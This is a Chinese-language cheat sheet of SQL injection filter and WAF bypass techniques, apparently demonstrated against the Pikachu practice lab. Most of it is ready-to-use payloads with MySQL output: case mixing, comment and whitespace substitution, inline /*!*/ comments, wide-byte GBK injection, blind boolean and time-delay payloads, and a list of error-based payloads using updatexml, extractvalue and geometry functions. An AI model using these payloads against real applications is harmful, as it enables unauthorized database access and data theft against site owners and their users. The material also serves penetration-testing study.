中间件过滤绕过
1、大小写绕过
mysql> SelEct * frOm UserS;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
| 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd | 2 |
| 3 | test | e99a18c428cb38d5f260853678922e03 | 3 |
+----+----------+----------------------------------+-------+
3 rows in set (0.00 sec)
2、双写绕过
3、编码绕过
编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码。
替换绕过
Web渗透时都可以尝试url编码进行绕过。
空格替换
1、在纯mysql下,我们可以用/**/
来代替空格。
mysql> select/**/database();
+------------+
| database() |
+------------+
| pikachu |
+------------+
1 row in set (0.00 sec)
2、我们还可以用+
来代替空格。
mysql> select+database();
+-------------+
| +database() |
+-------------+
| pikachu |
+-------------+
1 row in set (0.00 sec)
3、在有php中间件下,我们用%09
、%0A
、 %0B
、 %0C
、 %0D
、%A0
、%20
这些url字符来绕过空格。
select%09database();
4、用()
来传递参数。
mysql> select(id)from(users);
+----+
| id |
+----+
| 1 |
| 2 |
| 3 |
+----+
5、内联空格
/*!select*/
: 相当于没有注释/*!12345select*/
: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。/*![]*/
: []中括号中的数字若填写则必须是5位
mysql> select/*!94004*/1/*!94004*/and/*!94004*/1=2;
+---------+
| 1and1=2 |
+---------+
| 0 |
+---------+
1 row in set (0.00 sec)
运算符替换
等于号绕过
1、由于<>
等价于 !=
,我们可以再加一个!
来构成=
的效果.
mysql> select * from users where !(id<>1);
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
2、between
表示在两个值之前。
mysql> select 1 between 1 and 2;
+-------------------+
| 1 between 1 and 2 |
+-------------------+
| 1 |
+-------------------+
1 row in set (0.00 sec)
mysql> select 12 between 1 and 3;
+--------------------+
| 12 between 1 and 3 |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
3、in
表示在集合当中。
mysql> select 1 in (1);
+-----------+
| 1 in (1) |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
mysql> select 0 in (1);
+-----------+
| 0 in (1) |
+-----------+
| 0 |
+-----------+
1 row in set (0.00 sec)
4、like
表示模糊匹配
mysql> select 123 like '1%';
+---------------+
| 123 like '1%' |
+---------------+
| 1 |
+---------------+
1 row in set (0.00 sec)
5、regexp
正则匹配
mysql> select 1234 regexp "^12.*";
+---------------------+
| 1234 regexp "^12.*" |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
6、Rlike
正则匹配
mysql> select 1 and 123 rlike "^12.*";
+-------------------------+
| 1 and 123 rlike "^12.*" |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
7、 strcmp
strcmp(str1,str2)
:若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
mysql> select strcmp('123','123');
+---------------------+
| strcmp('123','123') |
+---------------------+
| 0 |
+---------------------+
1 row in set (0.00 sec)
mysql> select strcmp('123','12');
+--------------------+
| strcmp('123','12') |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
mysql> select strcmp('1','12');
+------------------+
| strcmp('1','12') |
+------------------+
| -1 |
+------------------+
1 row in set (0.00 sec)
大于小于号绕过
我们可以用greatest()
与least()
还有max()
和min()
。
greatest(a,b)
返回a与b中较大的那个值。
mysql> select greatest(1,2);
+---------------+
| greatest(1,2) |
+---------------+
| 2 |
+---------------+
1 row in set (0.00 sec)
least(a,b)
返回a与b中较小的那个值。
mysql> select least(1,2);
+------------+
| least(1,2) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
因此一个盲注sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64;
可以替代成为:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
逻辑符号与关键词替代绕过
(使用时需url编码)
and等效&&
or等效||
xor等效|
not等效!
逗号绕过
在对于substr()
和mid()
这两个方法可以使用from to
的方式来解决:
select substr(database() from 1 for 1);
#等效于
select substr(database() ,1, 1);
在对于limit
可以使用offset
来绕过:
select id from books limit 1 offset 0;
#等效于
select id from books limit 0,1;
在对于select
可以使用jion
来绕过:
select * from (select 1)a join (select 2)b;
#等效于
select 1,2;
引号绕过
1、使用十六进制
mysql> select * from users where id = '1';
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
mysql> select * from users where id = 0x01;
+----+----------+----------------------------------+-------+
| id | username | password | level |
+----+----------+----------------------------------+-------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 |
+----+----------+----------------------------------+-------+
1 row in set (0.00 sec)
2、用宽字节绕过
当我们输入的数据为:username=%df%27or%201=1%23&password=123
经过addslashes函数处理最终变成:username=%df%5c%27or%201=1%23&password=123
%df%5c=運
经过gbk解码得到:username=運'or 1=1#、password=123
,拼接到SQL语句得:
select * from users where username = '運'or 1=1#' and password='123';
3、concat绕过
mysql> select group_concat(table_name) from information_schema.tables where table_schema=concat(char(112),char(105),char(107),char(97),char(99),char(104),char(117));
+----------------------------------------+
| group_concat(table_name) |
+----------------------------------------+
| httpinfo,member,message,users,xssblind |
+----------------------------------------+
1 row in set (0.00 sec)
字符串截取等价函数绕过
1、SUBSTR ==> SUBSTRING
多种模式:
SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
2、RIGHT
RIGHT(str,len),对指定字符串从最右边截取指定长度。
mysql> select right(123,1);
+--------------+
| right(123,1) |
+--------------+
| 3 |
+--------------+
1 row in set (0.00 sec)
3、LEFT
LEFT(str,len),对指定字符串从最左边截取指定长度。
mysql> select left(123,1);
+-------------+
| left(123,1) |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
4、RPAD
RPAD(str,len,padstr),在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度。也能达到字符串截取的功能。
mysql> select rpad(database(),1,1);
+----------------------+
| rpad(database(),1,1) |
+----------------------+
| p |
+----------------------+
1 row in set (0.00 sec)
mysql> select rpad(database(),10,1);
+-----------------------+
| rpad(database(),10,1) |
+-----------------------+
| pikachu111 |
+-----------------------+
1 row in set (0.00 sec)
5、LPAD
LPAD(str,len,padstr),与RPAD相似,在str左边补齐。
6、MID
mid(str,pos,len)同于 SUBSTRING。
7、MAKE_SET
以下是一个示例:
SELECT MAKE_SET(5, 'Apple', 'Banana', 'Cherry', 'Date', 'Elderberry');
在这个示例中,位掩码值为5,二进制表示为101
。对应的字符串列表为'Apple', 'Banana', 'Cherry', 'Date', 'Elderberry'
。因为第1位和第3位为1,所以返回的结果为'Apple,Cherry'
。
可用作布尔盲注:
mysql> SELECT MAKE_SET((length(database())>1)+1,1,999);
+------------------------------------------+
| MAKE_SET((length(database())>1)+1,1,999) |
+------------------------------------------+
| 999 |
+------------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT MAKE_SET((length(database())>10)+1,1,999);
+-------------------------------------------+
| MAKE_SET((length(database())>10)+1,1,999) |
+-------------------------------------------+
| 1 |
+-------------------------------------------+
1 row in set (0.00 sec)
注释符绕过
手动闭合,不使用注释符
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
聚合函数等价替换
1、CONCAT
concat(str1,str2…),函数用于将多个字符串合并为一个字符串。
2、GROUP_CONCAT
返回一个字符串结果,该结果由分组中的值连接组合而成。
3、CONCAT_WS
用于将多个字符串连接在一起,并使用指定的分隔符进行分隔。WS
是"with separator"的缩写。
mysql> SELECT CONCAT_WS(',---,', 'John', 'Doe', '123 Main St', 'City', 'Country');
+---------------------------------------------------------------------+
| CONCAT_WS(',---,', 'John', 'Doe', '123 Main St', 'City', 'Country') |
+---------------------------------------------------------------------+
| John,---,Doe,---,123 Main St,---,City,---,Country |
+---------------------------------------------------------------------+
延时函数替换
1、benchmark
重复执行某个语句的函数。通常需要进行消耗时间和性能的计算,比如哈希计算函数MD5(), 将MD5函数重复执行数万次则可以达到延迟的效果。
payload:
xxx.com?id=1 and if(substr(database(),1,1)='1', benchmark(100000,md5(‘hacker’)))
内联绕过
/* */
在mysql中是多行注释,但是如果里面加了! 那么后面的内容会被执行.
正常的sql语句:
mysql> SELECT id FROM users WHERE id=1 UNION SELECT DATABASE();
+---------+
| id |
+---------+
| 1 |
| pikachu |
+---------+
2 rows in set (0.00 sec)
含有/*! */
的sql语句:
mysql> SELECT id FROM users WHERE id=1 /*!union*/ SELECT DATABASE();
+---------+
| id |
+---------+
| 1 |
| pikachu |
+---------+
2 rows in set (0.00 sec)
我们还可以利用一个*/
去匹配多个/*!
,例如sql语句:
SELECT id FROM users WHERE id=1 /*!union/*!select*/DATABASE();
+---------+
| id |
+---------+
| 1 |
| pikachu |
+---------+
2 rows in set (0.00 sec)
if函数替换
CASE 表示函数开始,END 表示函数结束。如果 condition1 成立,则返回 result1, 如果 condition2 成立,则返回 result2,当全部不成立则返回 result,而当有一个成立之后,后面的就不执行了。
mysql> select if(1>0,"1>0",1);
+-----------------+
| if(1>0,"1>0",1) |
+-----------------+
| 1>0 |
+-----------------+
1 row in set (0.00 sec)
mysql> select case when 1>0 then "1>0" end;
+------------------------------+
| case when 1>0 then "1>0" end |
+------------------------------+
| 1>0 |
+------------------------------+
1 row in set (0.00 sec)
报错注入
exp
payload:exp(~(select * from(select user())a))
updatexml
payload:updatexml(1,concat(0x7e,(select user()),0x7e),1)
extractvalue
payload:(extractvalue(1,concat(0x7e,(select user()),0x7e)))
rand()+group()+count()
payload:select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
GeometryCollection
payload:GeometryCollection((select * from (select* from(select user())a)b))
polygon
payload:polygon((select * from(select * from(select user())a)b))
multipoint
payload:multipoint((select * from(select * from(select user())a)b))
multilinestring
payload:multilinestring((select * from(select * from(select user())a)b))
linestring
payload:LINESTRING((select * from(select * from(select user())a)b))
multipolygon
payload:multipolygon((select * from(select * from(select user())a)b))